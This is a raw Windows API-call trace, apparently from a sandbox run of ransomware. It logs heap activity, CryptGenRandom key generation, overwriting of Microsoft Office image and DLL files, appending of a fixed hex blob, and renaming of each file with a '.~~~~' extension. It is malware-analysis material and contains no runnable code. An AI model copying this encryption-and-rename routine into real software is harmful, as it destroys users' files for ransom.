	[0128.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8680
	[0128.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8680 | out: hHeap=0x300000) returned 1
	[0128.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806698
	[0128.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806698 | out: hHeap=0x300000) returned 1
	[0128.759] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.759] GetLastError () returned 0x0
	[0128.759] GetLastError () returned 0x0
	[0128.759] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.759] GetLastError () returned 0x0
	[0128.760] GetLastError () returned 0x0
	[0128.761] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff17, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.762] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xe9, lpOverlapped=0x0) returned 1
	[0128.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.764] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.764] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.765] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.765] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.765] CloseHandle (hObject=0x128) returned 1
	[0128.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806698
	[0128.765] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif.~~~~")) returned 1
	[0128.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806698 | out: hHeap=0x300000) returned 1
	[0128.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.767] GetLastError () returned 0x0
	[0128.768] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.768] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.768] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.769] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24875874400) returned 1
	[0128.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6335710, dwHighDateTime=0x1d60e1e)) 
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8648
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8648 | out: hHeap=0x300000) returned 1
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806200
	[0128.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806200 | out: hHeap=0x300000) returned 1
	[0128.769] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.770] GetLastError () returned 0x0
	[0128.770] GetLastError () returned 0x0
	[0128.770] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.770] GetLastError () returned 0x0
	[0128.770] GetLastError () returned 0x0
	[0128.777] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.777] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb0, lpOverlapped=0x0) returned 1
	[0128.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.780] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.780] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.780] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.780] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.780] CloseHandle (hObject=0x128) returned 1
	[0128.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806200
	[0128.780] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21519_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21519_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21519_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21519_.gif.~~~~")) returned 1
	[0128.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806200 | out: hHeap=0x300000) returned 1
	[0128.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.985] GetLastError () returned 0x0
	[0128.986] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.987] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.987] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.988] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24897777079) returned 1
	[0128.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb654aa50, dwHighDateTime=0x1d60e1e)) 
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8610
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8610 | out: hHeap=0x300000) returned 1
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a36848
	[0128.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806938
	[0128.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a36848 | out: hHeap=0x300000) returned 1
	[0128.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806938 | out: hHeap=0x300000) returned 1
	[0128.989] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.989] GetLastError () returned 0x0
	[0128.989] GetLastError () returned 0x0
	[0128.989] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.989] GetLastError () returned 0x0
	[0128.989] GetLastError () returned 0x0
	[0128.991] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.991] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb0, lpOverlapped=0x0) returned 1
	[0128.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.993] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.993] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.993] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.993] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.993] CloseHandle (hObject=0x128) returned 1
	[0128.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806938
	[0128.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21520_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21520_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21520_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21520_.gif.~~~~")) returned 1
	[0129.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806938 | out: hHeap=0x300000) returned 1
	[0129.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.133] GetLastError () returned 0x0
	[0129.385] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.386] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0129.386] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.386] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24937601741) returned 1
	[0129.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6902cb0, dwHighDateTime=0x1d60e1e)) 
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a04570
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a04570 | out: hHeap=0x300000) returned 1
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab810
	[0129.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838a20
	[0129.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab810 | out: hHeap=0x300000) returned 1
	[0129.387] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.387] GetLastError () returned 0x0
	[0129.387] GetLastError () returned 0x0
	[0129.387] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.387] GetLastError () returned 0x0
	[0129.387] GetLastError () returned 0x0
	[0129.389] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc460, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.389] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3ba0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x3ba0, lpOverlapped=0x0) returned 1
	[0129.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.391] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.391] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.392] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.392] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.392] CloseHandle (hObject=0xc4) returned 1
	[0129.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806a88
	[0129.392] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.~~~~")) returned 1
	[0129.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806a88 | out: hHeap=0x300000) returned 1
	[0129.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.393] GetLastError () returned 0x0
	[0129.393] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.394] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.394] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.394] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24938443666) returned 1
	[0129.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6902cb0, dwHighDateTime=0x1d60e1e)) 
	[0129.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28220d0
	[0129.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28220d0 | out: hHeap=0x300000) returned 1
	[0129.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806c80
	[0129.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838a20
	[0129.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806c80 | out: hHeap=0x300000) returned 1
	[0129.429] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.429] GetLastError () returned 0x0
	[0129.430] GetLastError () returned 0x0
	[0129.430] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.430] GetLastError () returned 0x0
	[0129.430] GetLastError () returned 0x0
	[0129.431] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.431] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xbe, lpOverlapped=0x0) returned 1
	[0129.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.433] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.433] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.434] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.434] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.434] CloseHandle (hObject=0xc4) returned 1
	[0129.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806c80
	[0129.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115840.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115840.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115840.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115840.gif.~~~~")) returned 1
	[0129.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806c80 | out: hHeap=0x300000) returned 1
	[0129.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.436] GetLastError () returned 0x0
	[0129.437] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.438] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.438] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.438] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24942791536) returned 1
